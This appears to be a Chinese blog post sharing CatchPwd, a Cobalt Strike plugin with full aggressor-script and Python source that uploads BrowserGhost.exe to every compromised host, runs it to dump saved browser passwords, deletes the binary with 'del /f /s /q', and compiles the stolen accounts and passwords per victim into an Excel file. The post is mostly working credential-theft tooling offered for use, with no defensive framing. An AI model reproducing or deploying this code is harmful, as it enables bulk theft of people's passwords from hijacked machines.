一个用于抓取浏览器密码的cna插件

CatchPwd

抓取主机浏览器账户密码的CS插件,能够在CS中批量抓取上线主机密码并保存为Excel文件

一、组成

  • CatchPwd.cna -> 插件部分,包含CS用户交互,BrowserGhost.exe下载运行,保存日志和卸载功能

  • BrowserGhost.exe -> 抓取浏览器密码软件,能够在Windows主机上运行,支持Google和IE浏览器

  • log2exl.py -> excel转换脚本,将CatchPwd保存的日志导出为Excel表格


二、使用

(一)加载插件

在CS中加载插件CatchPwd.cna

(二)配置文件

在CS主目录下新建文件夹script,将BG.exe和log2exl.py放入script文件夹

(三)抓取密码

1.两种使用方式

批量抓取和单个抓取

2.批量抓取
  • 菜单栏Help->Catch Browser Password

  • Start Catching -> 下载BG抓取密码,抓取完成后会提示Successful

  • Stop Cathcing -> 卸载BG并保存log,抓取完成后必须点击Stop Cathcing

  • Export Password as Excel -> 运行python脚本导出Excel密码表,弹出对话框会让输入保存Excel的路径,默认在CS主目录下的Scrip文件夹

3.单个抓取
  • 右键目标主机->Catch Browser Password
  • Start Catching
  • Stop Catching

(四)查看密码表

  • CS主目录/saved_logs -> 保存BG生成的日志文件
  • CS主目录/script/format.txt -> 保存格式化的日志文件
  • CS主目录/script/passwd_xxxx_xxxx.xls -> 导出的Excel密码表

三、小记

优点:Lazagne编译为exe后有10M,相比下BrowserGhost.exe软件不到百K,上传速度快

缺点:需要主机安装.netframework才能运行BG.exe,抓取密码类型没有Lazagne丰富

cna插件代码

popup help{   
	menu "Catch Browser Password"{
		item "Start Catching"{
			foreach $entry (beacons()) {
				$bid = $entry['id'];
				blog($bid, "===============================Start Catching=================================\n");  
				binput($bid , "sleep 0");
				bupload($bid, "script/BrowserGhost.exe");
				start_log($bid);
				gather_info($bid);
				run_browser_ghost($bid);
			}
		}
		item "Stop Catching"{
			foreach $entry (beacons()) {
				$bid = $entry['id'];
				stop_log($bid);
				del_browser_ghost($bid);
				blog($bid, "----------------------------------End Catching-----------------------------------\n"); 
				binput($bid , "sleep 60");
			}
		}
		item "Export Password as Excel"{
			if (!-exists "./saved_logs/" ) {
				show_message("[Error] No passwords find!");
				return;
			}
			$info = dialog("Wait Input!", %(directory => "./script"), &store_excel);
			drow_text($info, "directory", "Please input the directory you want to store password excel!\n");
			dbutton_action($info, "Start store password as excel!");
			dialog_show($info);
		}
	}
}

popup beacon_bottom{
		menu "Catch Browser Password"{
		item "Start Catching"{
			blog($1, "===============================Start Catching=================================\n");  
			binput($1, "sleep 0");
			bupload($1, "script/BrowserGhost.exe");
			start_log($1);
			gather_info($1);
			run_browser_ghost($1);
		}
		item "Stop Catching"{
			stop_log($1);
			del_browser_ghost($1);
			blog($1, "----------------------------------End Catching-----------------------------------\n"); 
			binput($1 , "sleep 60");
		}
	}
}

sub store_excel{
		$stamp = formatDate("yyyyMMdd_HHmmss");	
		#show_message("python3 ./script/log2exl.py" . " -o " . $3["directory"] . " -t " . $stamp);
		exec("python3 ./script/log2exl.py" . " -o " . $3["directory"] . " -t " . $stamp);
		$excel_file = $3["directory"] . "/passwd_" . $stamp . ".xls";
		show_message("Successfully generate password excel in " . $excel_file);
		#if (!-exists $excel_file ) {   ##How to wait 3 seconds
		#	show_message("[Error] Failed to generate passsword excel in " . $excel_file);
		#}
		#else {
		#	show_message("Successfully generate password excel in " . $excel_file);
		#}
}

sub gather_info{
    blog($1, "[host]: ")
    blog($1, beacon_info($1, "internal") . " -> ");
    blog($1, beacon_info($1, "computer") . " -> ");
    blog($1, beacon_info($1, "user") . " -> ");
    blog($1, beacon_info($1, "os") . "\n");
}

sub run_browser_ghost{
	bshell($1, "BrowserGhost.exe");
}

sub del_browser_ghost{
	bshell($1, "del /f /s /q BrowserGhost.exe");
}

############## logging start############
### Output ###
##cobaltstrike/saved_logs/[beacon id]_yyyyMMdd_HHmmssSSS.log

global('%logging');

on beacon_output {
	if ( %logging[$1] ) { 
		writeb(%logging[$1], $2);
	}
}

sub start_log {
	blog($bid, "==========Start logging======\n");      
	if ( %logging[$1] ) { #check if already logging
		#berror($1, "Logging already started on this beacon.");
		return;
	}

	
	if (!-exists "./saved_logs/" ) { #check if saved_logs exists
		mkdir("./saved_logs"); #create otherwise
	}
	
	$filepath = "./saved_logs/" . $1 . "_" . formatDate("yyyyMMdd_HHmmssSSS") . ".log";  #one file for one beacon
	#$filepath = "./saved_logs/" . formatDate("yyyyMMdd_HHmmssSSS") . ".log";  #one file for all beacons
	if (!-exists $filepath) { #create and save handle to log
		createNewFile($filepath);
		blog($1, "===========Saving logs to " . $filepath . "===========\n");
		%logging[$1] = openf(">" . $filepath);
	}
}

sub stop_log {
	blog($bid, "-----------Stop logging---------\n");      
	if ( !%logging[$1] ) { #check if actually logging
		berror($1, "Logging not started on this beacon.");
		return;
	}

	closef(%logging[$1]); #close handle and delete key
	removeAt(%logging, $1);	
	blog($1, "======Now run python in script direcory to resolve logs to excel======\n");
}
################ logging end ###############

log2exl代码

  # !/usr/bin/env Python
  # coding=utf-8

import xlwt
import os
import chardet
import codecs
import time
import argparse

def convert_file_to_utf8(filename):
    # !!! does not backup the origin file
    content = codecs.open(filename, 'r').read()
    content = bytes(content, encoding='utf-8')
    source_encoding = chardet.detect(content)['encoding']
    if source_encoding == None:
        print ("Can't know ", filename, " encoding type")
        return
    #print (filename, "encoding type: ", source_encoding)
    if source_encoding != 'utf-8' and source_encoding != 'UTF-8-SIG':
        content = content.decode(source_encoding, 'ignore') #.encode(source_encoding)
        codecs.open(filename, 'w', encoding='UTF-8-SIG').write(content)

def convert_dir_to_utf8(direcotry):
    if not os.path.exists(direcotry):
        print ("[error] direcotry: ", direcotry, "not exists!")
        return
    for file in os.listdir(direcotry):
        file_path = os.path.join(direcotry, file)
        if not os.path.getsize(file_path):
            continue
        convert_file_to_utf8(file_path)


def format_txt(direcotry, format_file):
    with open(format_file, "w+") as fpx:
        for file in os.listdir(direcotry):
            print (file)
            file_path = os.path.join(direcotry, file)
            if not os.path.isfile(file_path):
                continue
            if not os.path.getsize(file_path):
                continue
            with open(file_path, 'r+') as fp:
                for line in fp.readlines():
                    try:
                        if "[host]: " in line:
                            host_content = line.split("[host]: ")[-1].strip()
                            host_ip = host_content.split(" -> ")[0].strip()
                            host_pc = host_content.split(" -> ")[1].strip()
                            host_usr = host_content.split(" -> ")[2].strip()
                            host_os = host_content.split(" -> ")[3].strip()
                        if "[user]: " in line:
                            domain_usr = line.split("[user]: ")[-1].strip()
                        if "[browser]: " in line:
                            browser = line.split("[browser]: ")[-1].strip()
                        if "[password]: " in line:
                            pwd_content = line.split("[password]: ")[-1].strip()
                            pwd_url = pwd_content.split(" -> ")[0].strip()
                            pwd_account = pwd_content.split(" -> ")[1].strip()
                            pwd_password = pwd_content.split(" -> ")[2].strip()

                            fpx.write(host_ip + ", " + host_pc + ", " + host_usr + ", " + host_os + ", " + domain_usr + ", " + browser + ", " + pwd_url + ", " + pwd_account + ", " + pwd_password + "\n")
                    except:
                        pass
                    
def log_xls(filename,xlsname):
    try:
        f = open(filename, encoding = "UTF-8")
        xls=xlwt.Workbook()
        sheet = xls.add_sheet('sheet1', cell_overwrite_ok=True)
        x = 1
        columns_name = ["host_ip", "host_pc", "host_usr", "host_os", "domain_usr", "browser", "pwd_url", "pwd_account", "pwd_password"]
        for i, name in enumerate(columns_name):
            sheet.write(0, i, name)
        while True:
            line = f.readline()
            if not line:
                break  
            for i in range(len(line.split(','))):
                item=line.split(',')[i]
                sheet.write(x, i, item) 
            x += 1 
        f.close()
        xls.save(xlsname)
        print ("Successfully transform log to excel: ", xlsname) 
    except:
        raise

if __name__ == "__main__" :
    parser = argparse.ArgumentParser('You should add those parameters')
    parser.add_argument('-i', '--input', default='./saved_logs', help='the direcory for inputing logs')
    parser.add_argument('-o', '--output', default='./', help='the directory for outputing excel')
    parser.add_argument('-t', '--stamp', default='123456', help='the time stamp for outputing excel')
    args = parser.parse_args()
    log_dir = args.input
    xls_file = args.output + "/passwd_" + args.stamp + ".xls"

    convert_dir_to_utf8(log_dir)
    format_txt(log_dir, "./format.txt")
    log_xls("./format.txt", xls_file)
posted @ 2022-10-05 09:13  z5onk0  阅读(382)  评论(0编辑  收藏  举报